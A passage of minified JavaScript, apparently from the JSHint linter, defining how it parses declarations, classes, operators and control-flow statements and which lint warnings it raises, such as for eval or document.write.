o=pn(f.tokens.next,\"...\");if(i){var a=o?W(0):f.tokens.next;a.identifier||F(\"E030\",a,a.value);var l=Q(155);l&&(wt(l),l.identifier&&(e=l.value))}else e=Ct();return e&&n.push({id:e,token:f.tokens.curr}),o}V(\"(\"),u(),V(\")\")}return!1},a=function(){var e;pn(f.tokens.next,\"[\")?(V(\"[\"),Q(10),V(\"]\"),V(\":\"),u()):f.tokens.next.id===\"(string)\"||f.tokens.next.id===\"(number)\"?(V(),V(\":\"),u()):(e=Ct(),pn(f.tokens.next,\":\")?(V(\":\"),u()):e&&(i&&wt(f.tokens.curr),n.push({id:e,token:f.tokens.curr})))};if(pn(o,\"[\")){r||V(\"[\"),pn(f.tokens.next,\"]\")&&F(\"W137\",f.tokens.curr);var l=!1;while(!pn(f.tokens.next,\"]\"))u()&&!l&&pn(f.tokens.next,\",\")&&(F(\"W130\",f.tokens.next),l=!0),pn(f.tokens.next,\"=\")&&(pn(f.tokens.prev,\"...\")?V(\"]\"):V(\"=\"),f.tokens.next.id===\"undefined\"&&F(\"W080\",f.tokens.prev,f.tokens.prev.value),Q(10)),pn(f.tokens.next,\"]\")||V(\",\");V(\"]\")}else if(pn(o,\"{\")){r||V(\"{\"),pn(f.tokens.next,\"}\")&&F(\"W137\",f.tokens.curr);while(!pn(f.tokens.next,\"}\")){a(),pn(f.tokens.next,\"=\")&&(V(\"=\"),f.tokens.next.id===\"undefined\"&&F(\"W080\",f.tokens.prev,f.tokens.prev.value),Q(10));if(!pn(f.tokens.next,\"}\")){V(\",\");if(pn(f.tokens.next,\"}\"))break}}V(\"}\")}return n}function Zt(e,t){var n=t.first;if(!n)return;r.zip(e,Array.isArray(n)?n:[n]).forEach(function(e){var t=e[0],n=e[1];t&&n?t.first=n:t&&t.first&&!n&&F(\"W080\",t.first,t.first.value)})}function en(e,t,n){var i=n&&n.prefix,s=n&&n.inexport,o=e===\"let\",u=e===\"const\",a,l,c,h;f.inES6()||F(\"W104\",f.tokens.curr,e,\"6\"),o&&f.tokens.next.value===\"(\"?(f.inMoz()||F(\"W118\",f.tokens.next,\"let block\"),V(\"(\"),f.funct[\"(scope)\"].stack(),h=!0):f.funct[\"(noblockscopedvar)\"]&&q(\"E048\",f.tokens.curr,u?\"Const\":\"Let\"),t.first=[];for(;;){var p=[];r.contains([\"{\",\"[\"],f.tokens.next.value)?(a=Gt(),l=!1):(a=[{id:Ct(),token:f.tokens.curr}],l=!0),!i&&u&&f.tokens.next.id!==\"=\"&&F(\"E012\",f.tokens.curr,f.tokens.curr.value);for(var d in a)a.hasOwnProperty(d)&&(d=a[d],f.funct[\"(scope)\"].block.isGlobal()&&S[d.id]===!1&&F(\"W079\",d.token,d.id),d.id&&!f.funct[\"(noblockscopedvar)\"]&&(f.funct[\"(scope)\"].addlabel(d.id,{type:e,token:d.token}),p.push(d.token),l&&s&&f.funct[\"(scope)\"].setExported(d.token.value,d.token)));f.tokens.next.id===\"=\"&&(V(\"=\"),!i&&f.tokens.next.id===\"undefined\"&&F(\"W080\",f.tokens.prev,f.tokens.prev.value),!i&&W(0).id===\"=\"&&f.tokens.next.identifier&&F(\"W120\",f.tokens.next,f.tokens.next.value),c=Q(i?120:10),l?a[0].first=c:Zt(p,c)),t.first=t.first.concat(p);if(f.tokens.next.id!==\",\")break;tt()}return h&&(V(\")\"),_t(!0,!0),t.block=!0,f.funct[\"(scope)\"].unstack()),t}function sn(e){return f.inES6()||F(\"W104\",f.tokens.curr,\"class\",\"6\"),e?(this.name=Ct(),f.funct[\"(scope)\"].addlabel(this.name,{type:\"class\",token:f.tokens.curr})):f.tokens.next.identifier&&f.tokens.next.value!==\"extends\"?(this.name=Ct(),this.namedExpr=!0):this.name=f.nameStack.infer(),on(this),this}function on(e){var t=f.inClassBody;f.tokens.next.value===\"extends\"&&(V(\"extends\"),e.heritage=Q(10)),f.inClassBody=!0,V(\"{\"),e.body=un(e),V(\"}\"),f.inClassBody=t}function un(e){var t,n,r,i,s=Object.create(null),o=Object.create(null),u;for(var a=0;f.tokens.next.id!==\"}\";++a){t=f.tokens.next,n=!1,r=!1,i=null;if(t.id===\";\"){F(\"W032\"),V(\";\");continue}t.id===\"*\"&&(r=!0,V(\"*\"),t=f.tokens.next);if(t.id===\"[\")t=cn(),u=!0;else{if(!Ft(t)){F(\"W052\",f.tokens.next,f.tokens.next.value||f.tokens.next.type),V();continue}V(),u=!1;if(t.identifier&&t.value===\"static\"){pn(f.tokens.next,\"*\")&&(r=!0,V(\"*\"));if(Ft(f.tokens.next)||f.tokens.next.id===\"[\")u=f.tokens.next.id===\"[\",n=!0,t=f.tokens.next,f.tokens.next.id===\"[\"?t=cn():V()}t.identifier&&(t.value===\"get\"||t.value===\"set\")&&(Ft(f.tokens.next)||f.tokens.next.id===\"[\")&&(u=f.tokens.next.id===\"[\",i=t,t=f.tokens.next,f.tokens.next.id===\"[\"?t=cn():V())}if(!pn(f.tokens.next,\"(\")){q(\"E054\",f.tokens.next,f.tokens.next.value);while(f.tokens.next.id!==\"}\"&&!pn(f.tokens.next,\"(\"))V();f.tokens.next.value!==\"(\"&&Xt({statement:e})}u||(i?ln(i.value,n?o:s,t.value,t,!0,n):(t.value===\"constructor\"?f.nameStack.set(e):f.nameStack.set(t),fn(n?o:s,t.value,t,!0,n)));if(i&&t.value===\"constructor\"){var l=i.value===\"get\"?\"class getter method\":\"class setter method\";q(\"E049\",t,l,\"constructor\")}else t.value===\"prototype\"&&q(\"E049\",t,\"class method\",\"prototype\");It(t),Xt({statement:e,type:r?\"generator\":null,classExprBinding:e.namedExpr?e.name:null})}Kt(s)}function fn(e,t,n,r,i){var s=[\"key\",\"class method\",\"static class method\"];s=s[(r||!1)+(i||!1)],n.identifier&&(t=n.value),e[t]&&t!==\"__proto__\"?F(\"W075\",f.tokens.next,s,t):e[t]=Object.create(null),e[t].basic=!0,e[t].basictkn=n}function ln(e,t,n,r,i,s){var o=e===\"get\"?\"getterToken\":\"setterToken\",u=\"\";i?(s&&(u+=\"static \"),u+=e+\"ter method\"):u=\"key\",f.tokens.curr.accessorType=e,f.nameStack.set(r),t[n]?(t[n].basic||t[n][o])&&n!==\"__proto__\"&&F(\"W075\",f.tokens.next,u,n):t[n]=Object.create(null),t[n][o]=r}function cn(){V(\"[\"),f.inES6()||F(\"W119\",f.tokens.curr,\"computed property names\",\"6\");var e=Q(10);return V(\"]\"),e}function hn(e,t){return e.type===\"(punctuator)\"?r.contains(t,e.value):!1}function pn(e,t){return e.type===\"(punctuator)\"&&e.value===t}function dn(){var e=an();e.notJson?(!f.inES6()&&e.isDestAssign&&F(\"W104\",f.tokens.curr,\"destructuring assignment\",\"6\"),Ot()):(f.option.laxbreak=!0,f.jsonMode=!0,mn())}function mn(){function e(){var e={},t=f.tokens.next;V(\"{\");if(f.tokens.next.id!==\"}\")for(;;){if(f.tokens.next.id===\"(end)\")q(\"E026\",f.tokens.next,t.line);else{if(f.tokens.next.id===\"}\"){F(\"W094\",f.tokens.curr);break}f.tokens.next.id===\",\"?q(\"E028\",f.tokens.next):f.tokens.next.id!==\"(string)\"&&F(\"W095\",f.tokens.next,f.tokens.next.value)}e[f.tokens.next.value]===!0?F(\"W075\",f.tokens.next,\"key\",f.tokens.next.value):f.tokens.next.value===\"__proto__\"&&!f.option.proto||f.tokens.next.value===\"__iterator__\"&&!f.option.iterator?F(\"W096\",f.tokens.next,f.tokens.next.value):e[f.tokens.next.value]=!0,V(),V(\":\"),mn();if(f.tokens.next.id!==\",\")break;V(\",\")}V(\"}\")}function t(){var e=f.tokens.next;V(\"[\");if(f.tokens.next.id!==\"]\")for(;;){if(f.tokens.next.id===\"(end)\")q(\"E027\",f.tokens.next,e.line);else{if(f.tokens.next.id===\"]\"){F(\"W094\",f.tokens.curr);break}f.tokens.next.id===\",\"&&q(\"E028\",f.tokens.next)}mn();if(f.tokens.next.id!==\",\")break;V(\",\")}V(\"]\")}switch(f.tokens.next.id){case\"{\":e();break;case\"[\":t();break;case\"true\":case\"false\":case\"null\":case\"(number)\":case\"(string)\":V();break;case\"-\":V(\"-\"),V(\"(number)\");break;default:q(\"E003\",f.tokens.next)}}var e,t={\"<\":!0,\"<=\":!0,\"==\":!0,\"===\":!0,\"!==\":!0,\"!=\":!0,\">\":!0,\">=\":!0,\"+\":!0,\"-\":!0,\"*\":!0,\"/\":!0,\"%\":!0},n,d=[\"closure\",\"exception\",\"global\",\"label\",\"outer\",\"unused\",\"var\"],v,m,g,y,b,w,E,S,x,T,N=[],C=new i.EventEmitter,mt={};mt.legacy=[\"xml\",\"unknown\"],mt.es3=[\"undefined\",\"boolean\",\"number\",\"string\",\"function\",\"object\"],mt.es3=mt.es3.concat(mt.legacy),mt.es6=mt.es3.concat(\"symbol\"),at(\"(number)\",function(){return this}),at(\"(string)\",function(){return this}),f.syntax[\"(identifier)\"]={type:\"(identifier)\",lbp:0,identifier:!0,nud:function(){var e=this.value;return f.tokens.next.id===\"=>\"?this:(f.funct[\"(comparray)\"].check(e)||f.funct[\"(scope)\"].block.use(e,f.tokens.curr),this)},led:function(){q(\"E033\",f.tokens.next,f.tokens.next.value)}};var Pt={lbp:0,identifier:!1,template:!0};f.syntax[\"(template)\"]=r.extend({type:\"(template)\",nud:Wt,led:Wt,noSubst:!1},Pt),f.syntax[\"(template middle)\"]=r.extend({type:\"(template middle)\",middle:!0,noSubst:!1},Pt),f.syntax[\"(template tail)\"]=r.extend({type:\"(template tail)\",tail:!0,noSubst:!1},Pt),f.syntax[\"(no subst template)\"]=r.extend({type:\"(template)\",nud:Wt,led:Wt,noSubst:!0,tail:!0},Pt),at(\"(regexp)\",function(){return this}),rt(\"(endline)\"),rt(\"(begin)\"),rt(\"(end)\").reach=!0,rt(\"(error)\").reach=!0,rt(\"}\").reach=!0,rt(\")\"),rt(\"]\"),rt('\"').reach=!0,rt(\"'\").reach=!0,rt(\";\"),rt(\":\").reach=!0,rt(\"#\"),ft(\"else\"),ft(\"case\").reach=!0,ft(\"catch\"),ft(\"default\").reach=!0,ft(\"finally\"),ct(\"arguments\",function(e){f.isStrict()&&f.funct[\"(global)\"]&&F(\"E008\",e)}),ct(\"eval\"),ct(\"false\"),ct(\"Infinity\"),ct(\"null\"),ct(\"this\",function(e){f.isStrict()&&!jt()&&!f.option.validthis&&(f.funct[\"(statement)\"]&&f.funct[\"(name)\"].charAt(0)>\"Z\"||f.funct[\"(global)\"])&&F(\"W040\",e)}),ct(\"true\"),ct(\"undefined\"),Et(\"=\",\"assign\",20),Et(\"+=\",\"assignadd\",20),Et(\"-=\",\"assignsub\",20),Et(\"*=\",\"assignmult\",20),Et(\"/=\",\"assigndiv\",20).nud=function(){q(\"E014\")},Et(\"%=\",\"assignmod\",20),xt(\"&=\"),xt(\"|=\"),xt(\"^=\"),xt(\"<<=\"),xt(\">>=\"),xt(\">>>=\"),ht(\",\",function(e,t){var n;t.exprs=[e],f.option.nocomma&&F(\"W127\");if(!tt({peek:!0}))return t;for(;;){if(!(n=Q(10)))break;t.exprs.push(n);if(f.tokens.next.value!==\",\"||!tt())break}return t},10,!0),ht(\"?\",function(e,t){return $t(),t.left=e,t.right=Q(10),V(\":\"),t[\"else\"]=Q(10),t},30);var Ht=40;ht(\"||\",function(e,t){return $t(),t.left=e,t.right=Q(Ht),t},Ht),ht(\"&&\",\"and\",50),St(\"|\",\"bitor\",70),St(\"^\",\"bitxor\",80),St(\"&\",\"bitand\",90),dt(\"==\",function(e,t){var n=f.option.eqnull&&((e&&e.value)===\"null\"||(t&&t.value)===\"null\");switch(!0){case!n&&f.option.eqeqeq:this.from=this.character,F(\"W116\",this,\"===\",\"==\");break;case vt(e):F(\"W041\",this,\"===\",e.value);break;case vt(t):F(\"W041\",this,\"===\",t.value);break;case gt(t,e,f):F(\"W122\",this,t.value);break;case gt(e,t,f):F(\"W122\",this,e.value)}return this}),dt(\"===\",function(e,t){return gt(t,e,f)?F(\"W122\",this,t.value):gt(e,t,f)&&F(\"W122\",this,e.value),this}),dt(\"!=\",function(e,t){var n=f.option.eqnull&&((e&&e.value)===\"null\"||(t&&t.value)===\"null\");return!n&&f.option.eqeqeq?(this.from=this.character,F(\"W116\",this,\"!==\",\"!=\")):vt(e)?F(\"W041\",this,\"!==\",e.value):vt(t)?F(\"W041\",this,\"!==\",t.value):gt(t,e,f)?F(\"W122\",this,t.value):gt(e,t,f)&&F(\"W122\",this,e.value),this}),dt(\"!==\",function(e,t){return gt(t,e,f)?F(\"W122\",this,t.value):gt(e,t,f)&&F(\"W122\",this,e.value),this}),dt(\"<\"),dt(\">\"),dt(\"<=\"),dt(\">=\"),St(\"<<\",\"shiftleft\",120),St(\">>\",\"shiftright\",120),St(\">>>\",\"shiftrightunsigned\",120),ht(\"in\",\"in\",120),ht(\"instanceof\",\"instanceof\",120),ht(\"+\",function(e,t){var n;return t.left=e,t.right=n=Q(130),e&&n&&e.id===\"(string)\"&&n.id===\"(string)\"?(e.value+=n.value,e.character=n.character,!f.option.scripturl&&a.javascriptURL.test(e.value)&&F(\"W050\",e),e):t},130),ut(\"+\",\"num\"),ut(\"+++\",function(){return F(\"W007\"),this.arity=\"unary\",this.right=Q(150),this}),ht(\"+++\",function(e){return F(\"W007\"),this.left=e,this.right=Q(130),this},130),ht(\"-\",\"sub\",130),ut(\"-\",\"neg\"),ut(\"---\",function(){return F(\"W006\"),this.arity=\"unary\",this.right=Q(150),this}),ht(\"---\",function(e){return F(\"W006\"),this.left=e,this.right=Q(130),this},130),ht(\"*\",\"mult\",140),ht(\"/\",\"div\",140),ht(\"%\",\"mod\",140),Tt(\"++\"),ut(\"++\",\"preinc\"),f.syntax[\"++\"].exps=!0,Tt(\"--\"),ut(\"--\",\"predec\"),f.syntax[\"--\"].exps=!0,ut(\"delete\",function(){var e=Q(10);return e?(e.id!==\".\"&&e.id!==\"[\"&&F(\"W051\"),this.first=e,e.identifier&&!f.isStrict()&&(e.forgiveUndef=!0),this):this}).exps=!0,ut(\"~\",function(){return f.option.bitwise&&F(\"W016\",this,\"~\"),this.arity=\"unary\",this.right=Q(150),this}),ut(\"...\",function(){return f.inES6(!0)||F(\"W119\",this,\"spread/rest operator\",\"6\"),!f.tokens.next.identifier&&f.tokens.next.type!==\"(string)\"&&!hn(f.tokens.next,[\"[\",\"(\"])&&q(\"E030\",f.tokens.next,f.tokens.next.value),Q(150),this}),ut(\"!\",function(){return this.arity=\"unary\",this.right=Q(150),this.right||B(\"E041\",this.line||0),t[this.right.id]===!0&&F(\"W018\",this,\"!\"),this}),ut(\"typeof\",function(){var e=Q(150);return this.first=this.right=e,e||B(\"E041\",this.line||0,this.character||0),e.identifier&&(e.forgiveUndef=!0),this}),ut(\"new\",function(){var e=Qt(\"target\",function(){f.inES6(!0)||F(\"W119\",f.tokens.prev,\"new.target\",\"6\");var e,t=f.funct;while(t){e=!t[\"(global)\"];if(!t[\"(arrow)\"])break;t=t[\"(context)\"]}e||F(\"W136\",f.tokens.prev,\"new.target\")});if(e)return e;var t=Q(155),n;if(t&&t.id!==\"function\")if(t.identifier){t[\"new\"]=!0;switch(t.value){case\"Number\":case\"String\":case\"Boolean\":case\"Math\":case\"JSON\":F(\"W053\",f.tokens.prev,t.value);break;case\"Symbol\":f.inES6()&&F(\"W053\",f.tokens.prev,t.value);break;case\"Function\":f.option.evil||F(\"W054\");break;case\"Date\":case\"RegExp\":case\"this\":break;default:t.id!==\"function\"&&(n=t.value.substr(0,1),f.option.newcap&&(n<\"A\"||n>\"Z\")&&!f.funct[\"(scope)\"].isPredefined(t.value)&&F(\"W055\",f.tokens.curr))}}else t.id!==\".\"&&t.id!==\"[\"&&t.id!==\"(\"&&F(\"W056\",f.tokens.curr);else f.option.supernew||F(\"W057\",this);return f.tokens.next.id!==\"(\"&&!f.option.supernew&&F(\"W058\",f.tokens.curr,f.tokens.curr.value),this.first=this.right=t,this}),f.syntax[\"new\"].exps=!0,ut(\"void\").exps=!0,ht(\".\",function(e,t){var n=Ct(!1,!0);return typeof n==\"string\"&&Dt(n),t.left=e,t.right=n,n&&n===\"hasOwnProperty\"&&f.tokens.next.value===\"=\"&&F(\"W001\"),!e||e.value!==\"arguments\"||n!==\"callee\"&&n!==\"caller\"?!f.option.evil&&e&&e.value===\"document\"&&(n===\"write\"||n===\"writeln\")&&F(\"W060\",e):f.option.noarg?F(\"W059\",e,n):f.isStrict()&&q(\"E008\"),!f.option.evil&&(n===\"eval\"||n===\"execScript\")&&yt(e,f)&&F(\"W061\"),t},160,!0),ht(\"(\",function(e,t){f.option.immed&&e&&!e.immed&&e.id===\"function\"&&F(\"W062\");var n=0,r=[];e&&e.type===\"(identifier)\"&&e.value.match(/^[A-Z]([A-Z0-9_$]*[a-z][A-Za-z0-9_$]*)?$/)&&\"Array Number String Boolean Date Object Error Symbol\".indexOf(e.value)===-1&&(e.value===\"Math\"?F(\"W063\",e):f.option.newcap&&F(\"W064\",e));if(f.tokens.next.id!==\")\")for(;;){r[r.length]=Q(10),n+=1;if(f.tokens.next.id!==\",\")break;tt()}return V(\")\"),typeof e==\"object\"&&(!f.inES5()&&e.value===\"parseInt\"&&n===1&&F(\"W065\",f.tokens.curr),f.option.evil||(e.value===\"eval\"||e.value===\"Function\"||e.value===\"execScript\"?(F(\"W061\",e),r[0]&&[0].id===\"(string)\"&&U(e,r[0].value)):!r[0]||r[0].id!==\"(string)\"||e.value!==\"setTimeout\"&&e.value!==\"setInterval\"?r[0]&&r[0].id===\"(string)\"&&e.value===\".\"&&e.left.value===\"window\"&&(e.right===\"setTimeout\"||e.right===\"setInterval\")&&(F(\"W066\",e),U(e,r[0].value)):(F(\"W066\",e),U(e,r[0].value))),!e.identifier&&e.id!==\".\"&&e.id!==\"[\"&&e.id!==\"=>\"&&e.id!==\"(\"&&e.id!==\"&&\"&&e.id!==\"||\"&&e.id!==\"?\"&&(!f.inES6()||!e[\"(name)\"])&&F(\"W067\",t)),t.left=e,t},155,!0).exps=!0,ut(\"(\",function(){var e=f.tokens.next,t,n=-1,r,i,s,o,u=1,a=f.tokens.curr,l=f.tokens.prev,c=!f.option.singleGroups;do e.value===\"(\"?u+=1:e.value===\")\"&&(u-=1),n+=1,t=e,e=W(n);while((u!==0||t.value!==\")\")&&e.value!==\";\"&&e.type!==\"(end)\");f.tokens.next.id===\"function\"&&(i=f.tokens.next.immed=!0);if(e.value===\"=>\")return Xt({type:\"arrow\",parsedOpening:!0});var h=[];if(f.tokens.next.id!==\")\")for(;;){h.push(Q(10));if(f.tokens.next.id!==\",\")break;f.option.nocomma&&F(\"W127\"),tt()}V(\")\",this),f.option.immed&&h[0]&&h[0].id===\"function\"&&f.tokens.next.id!==\"(\"&&f.tokens.next.id!==\".\"&&f.tokens.next.id!==\"[\"&&F(\"W068\",this);if(!h.length)return;return h.length>1?(r=Object.create(f.syntax[\",\"]),r.exprs=h,s=h[0],o=h[h.length-1],c||(c=l.assign||l.delim)):(r=s=o=h[0],c||(c=a.beginsStmt&&(r.id===\"{\"||i||Ut(r))||i&&(!J()||f.tokens.prev.id!==\"}\")||Ut(r)&&!J()||r.id===\"{\"&&l.id===\"=>\"||r.type===\"(number)\"&&pn(e,\".\")&&/^\\d+$/.test(r.value))),r&&(!c&&(s.left||s.right||r.exprs)&&(c=!K(l)&&s.lbp<=l.lbp||!J()&&o.lbp<f.tokens.next.lbp),c||F(\"W126\",a),r.paren=!0),r}),pt(\"=>\"),ht(\"[\",function(e,t){var n=Q(10),r;return n&&n.type===\"(string)\"&&(!f.option.evil&&(n.value===\"eval\"||n.value===\"execScript\")&&yt(e,f)&&F(\"W061\"),Dt(n.value),!f.option.sub&&a.identifier.test(n.value)&&(r=f.syntax[n.value],(!r||!O(r))&&F(\"W069\",f.tokens.prev,n.value))),V(\"]\",t),n&&n.value===\"hasOwnProperty\"&&f.tokens.next.value===\"=\"&&F(\"W001\"),t.left=e,t.right=n,t},160,!0),ut(\"[\",function(){var e=an();if(e.isCompArray)return!f.option.esnext&&!f.inMoz()&&F(\"W118\",f.tokens.curr,\"array comprehension\"),Bt();if(e.isDestAssign)return this.destructAssign=Gt({openingParsed:!0,assignment:!0}),this;var t=f.tokens.curr.line!==G(f.tokens.next);this.first=[],t&&(g+=f.option.indent,f.tokens.next.from===g+f.option.indent&&(g+=f.option.indent));while(f.tokens.next.id!==\"(end)\"){while(f.tokens.next.id===\",\"){if(!f.option.elision){if(!!f.inES5()){F(\"W128\");do V(\",\");while(f.tokens.next.id===\",\");continue}F(\"W070\")}V(\",\")}if(f.tokens.next.id===\"]\")break;this.first.push(Q(10));if(f.tokens.next.id!==\",\")break;tt({allowTrailing:!0});if(f.tokens.next.id===\"]\"&&!f.inES5()){F(\"W070\",f.tokens.curr);break}}return t&&(g-=f.option.indent),V(\"]\",this),this}),function(e){e.nud=function(){var e,t,n,r,i,s=!1,o,u=Object.create(null);e=f.tokens.curr.line!==G(f.tokens.next),e&&(g+=f.option.indent,f.tokens.next.from===g+f.option.indent&&(g+=f.option.indent));var a=an();if(a.isDestAssign)return this.destructAssign=Gt({openingParsed:!0,assignment:!0}),this;for(;;){if(f.tokens.next.id===\"}\")break;o=f.tokens.next.value;if(!f.tokens.next.identifier||X().id!==\",\"&&X().id!==\"}\")if(W().id===\":\"||o!==\"get\"&&o!==\"set\"){f.tokens.next.value===\"*\"&&f.tokens.next.type===\"(punctuator)\"?(f.inES6()||F(\"W104\",f.tokens.next,\"generator functions\",\"6\"),V(\"*\"),s=!0):s=!1;if(f.tokens.next.id===\"[\")n=cn(),f.nameStack.set(n);else{f.nameStack.set(f.tokens.next),n=It(),fn(u,n,f.tokens.next);if(typeof n!=\"string\")break}f.tokens.next.value===\"(\"?(f.inES6()||F(\"W104\",f.tokens.curr,\"concise methods\",\"6\"),Xt({type:s?\"generator\":null})):(V(\":\"),Q(10))}else V(o),f.inES5()||q(\"E034\"),n=It(),!n&&!f.inES6()&&q(\"E035\"),n&&ln(o,u,n,f.tokens.curr),i=f.tokens.next,t=Xt(),r=t[\"(params)\"],o===\"get\"&&n&&r?F(\"W076\",i,r[0],n):o===\"set\"&&n&&(!r||r.length!==1)&&F(\"W077\",i,n);else f.inES6()||F(\"W104\",f.tokens.next,\"object short notation\",\"6\"),n=It(!0),fn(u,n,f.tokens.next),Q(10);Dt(n);if(f.tokens.next.id!==\",\")break;tt({allowTrailing:!0,property:!0}),f.tokens.next.id===\",\"?F(\"W070\",f.tokens.curr):f.tokens.next.id===\"}\"&&!f.inES5()&&F(\"W070\",f.tokens.curr)}return e&&(g-=f.option.indent),V(\"}\",this),Kt(u),this},e.fud=function(){q(\"E036\",f.tokens.curr)}}(rt(\"{\"));var tn=it(\"const\",function(e){return en(\"const\",this,e)});tn.exps=!0;var nn=it(\"let\",function(e){return en(\"let\",this,e)});nn.exps=!0;var rn=it(\"var\",function(e){var t=e&&e.prefix,n=e&&e.inexport,i,o,u,a=e&&e.implied,l=!e||!e.ignore;this.first=[];for(;;){var c=[];r.contains([\"{\",\"[\"],f.tokens.next.value)?(i=Gt(),o=!1):(i=[{id:Ct(),token:f.tokens.curr}],o=!0),(!t||!a)&&l&&f.option.varstmt&&F(\"W132\",this),this.first=this.first.concat(c);for(var h in i)i.hasOwnProperty(h)&&(h=i[h],!a&&f.funct[\"(global)\"]&&(S[h.id]===!1?F(\"W079\",h.token,h.id):f.option.futurehostile===!1&&(!f.inES5()&&s.ecmaIdentifiers[5][h.id]===!1||!f.inES6()&&s.ecmaIdentifiers[6][h.id]===!1)&&F(\"W129\",h.token,h.id)),h.id&&(a===\"for\"?(f.funct[\"(scope)\"].has(h.id)||l&&F(\"W088\",h.token,h.id),f.funct[\"(scope)\"].block.use(h.id,h.token)):(f.funct[\"(scope)\"].addlabel(h.id,{type:\"var\",token:h.token}),o&&n&&f.funct[\"(scope)\"].setExported(h.id,h.token)),c.push(h.token)));f.tokens.next.id===\"=\"&&(f.nameStack.set(f.tokens.curr),V(\"=\"),!t&&l&&!f.funct[\"(loopage)\"]&&f.tokens.next.id===\"undefined\"&&F(\"W080\",f.tokens.prev,f.tokens.prev.value),W(0).id===\"=\"&&f.tokens.next.identifier&&(!t&&l&&!f.funct[\"(params)\"]||f.funct[\"(params)\"].indexOf(f.tokens.next.value)===-1)&&F(\"W120\",f.tokens.next,f.tokens.next.value),u=Q(t?120:10),o?i[0].first=u:Zt(c,u));if(f.tokens.next.id!==\",\")break;tt()}return this});rn.exps=!0,st(\"class\",function(){return sn.call(this,!0)}),st(\"function\",function(e){var t=e&&e.inexport,n=!1;f.tokens.next.value===\"*\"&&(V(\"*\"),f.inES6({strict:!0})?n=!0:F(\"W119\",f.tokens.curr,\"function*\",\"6\")),m&&F(\"W082\",f.tokens.curr);var r=Nt();return f.funct[\"(scope)\"].addlabel(r,{type:\"function\",token:f.tokens.curr}),r===undefined?F(\"W025\"):t&&f.funct[\"(scope)\"].setExported(r,f.tokens.prev),Xt({name:r,statement:this,type:n?\"generator\":null,ignoreLoopFunc:m}),f.tokens.next.id===\"(\"&&f.tokens.next.line===f.tokens.curr.line&&q(\"E039\"),this}),ut(\"function\",function(){var e=!1;f.tokens.next.value===\"*\"&&(f.inES6()||F(\"W119\",f.tokens.curr,\"function*\",\"6\"),V(\"*\"),e=!0);var t=Nt();return Xt({name:t,type:e?\"generator\":null}),this}),st(\"if\",function(){var e=f.tokens.next;$t(),f.condition=!0,V(\"(\");var t=Q(0);Jt(t);var n=null;f.option.forin&&f.forinifcheckneeded&&(f.forinifcheckneeded=!1,n=f.forinifchecks[f.forinifchecks.length-1],t.type===\"(punctuator)\"&&t.value===\"!\"?n.type=\"(negative)\":n.type=\"(positive)\"),V(\")\",e),f.condition=!1;var r=_t(!0,!0);return n&&n.type===\"(negative)\"&&r&&r[0]&&r[0].type===\"(identifier)\"&&r[0].value===\"continue\"&&(n.type=\"(negative-with-continue)\"),f.tokens.next.id===\"else\"&&(V(\"else\"),f.tokens.next.id===\"if\"||f.tokens.next.id===\"switch\"?At():_t(!0,!0)),this}),st(\"try\",function(){function t(){V(\"catch\"),V(\"(\"),f.funct[\"(scope)\"].stack(\"catchparams\");if(hn(f.tokens.next,[\"[\",\"{\"])){var e=Gt();r.each(e,function(e){e.id&&f.funct[\"(scope)\"].addParam(e.id,e,\"exception\")})}else f.tokens.next.type!==\"(identifier)\"?F(\"E030\",f.tokens.next,f.tokens.next.value):f.funct[\"(scope)\"].addParam(Ct(),f.tokens.curr,\"exception\");f.tokens.next.value===\"if\"&&(f.inMoz()||F(\"W118\",f.tokens.curr,\"catch filter\"),V(\"if\"),Q(0)),V(\")\"),_t(!1),f.funct[\"(scope)\"].unstack()}var e;_t(!0);while(f.tokens.next.id===\"catch\")$t(),e&&!f.inMoz()&&F(\"W118\",f.tokens.next,\"multiple catch blocks\"),t(),e=!0;if(f.tokens.next.id===\"finally\"){V(\"finally\"),_t(!0);return}return e||q(\"E021\",f.tokens.next,\"catch\",f.tokens.next.value),this}),st(\"while\",function(){var e=f.tokens.next;return f.funct[\"(breakage)\"]+=1,f.funct[\"(loopage)\"]+=1,$t(),V(\"(\"),Jt(Q(0)),V(\")\",e),_t(!0,!0),f.funct[\"(breakage)\"]-=1,f.funct[\"(loopage)\"]-=1,this}).labelled=!0,st(\"with\",function(){var e=f.tokens.next;return f.isStrict()?q(\"E010\",f.tokens.curr):f.option.withstmt||F(\"W085\",f.tokens.curr),V(\"(\"),Q(0),V(\")\",e),_t(!0,!0),this}),st(\"switch\",function(){var e=f.tokens.next,t=!1,n=!1;f.funct[\"(breakage)\"]+=1,V(\"(\"),Jt(Q(0)),V(\")\",e),e=f.tokens.next,V(\"{\"),f.tokens.next.from===g&&(n=!0),n||(g+=f.option.indent),this.cases=[];for(;;)switch(f.tokens.next.id){case\"case\":switch(f.funct[\"(verb)\"]){case\"yield\":case\"break\":case\"case\":case\"continue\":case\"return\":case\"switch\":case\"throw\":break;default:f.tokens.curr.caseFallsThrough||F(\"W086\",f.tokens.curr,\"case\")}V(\"case\"),this.cases.push(Q(0)),$t(),t=!0,V(\":\"),f.funct[\"(verb)\"]=\"case\";break;case\"default\":switch(f.funct[\"(verb)\"]){case\"yield\":case\"break\":case\"continue\":case\"return\":case\"throw\":break;default:this.cases.length&&(f.tokens.curr.caseFallsThrough||F(\"W086\",f.tokens.curr,\"default\"))}V(\"default\"),t=!0,V(\":\");break;case\"}\":n||(g-=f.option.indent),V(\"}\",e),f.funct[\"(breakage)\"]-=1,f.funct[\"(verb)\"]=undefined;return;case\"(end)\":q(\"E023\",f.tokens.next,\"}\");return;default:g+=f.option.indent;if(t)switch(f.tokens.curr.id){case\",\":q(\"E040\");return;case\":\":t=!1,Ot();break;default:q(\"E025\",f.tokens.curr);return}else{if(f.tokens.curr.id!==\":\"){q(\"E021\",f.tokens.next,\"case\",f.tokens.next.value);return}V(\":\"),q(\"E024\",f.tokens.curr,\":\"),Ot()}g-=f.option.indent}return this}).labelled=!0,it(\"debugger\",function(){return f.option.debug||F(\"W087\",this),this}).exps=!0,function(){var e=it(\"do\",function(){f.funct[\"(breakage)\"]+=1,f.funct[\"(loopage)\"]+=1,$t(),this.first=_t(!0,!0),V(\"while\");var e=f.tokens.next;return V(\"(\"),Jt(Q(0)),V(\")\",e),f.funct[\"(breakage)\"]-=1,f.funct[\"(loopage)\"]-=1,this});e.labelled=!0,e.exps=!0}(),st(\"for\",function(){var e,t=f.tokens.next,n=!1,i=null;t.value===\"each\"&&(i=t,V(\"each\"),f.inMoz()||F(\"W118\",f.tokens.curr,\"for each\")),$t(),V(\"(\");var 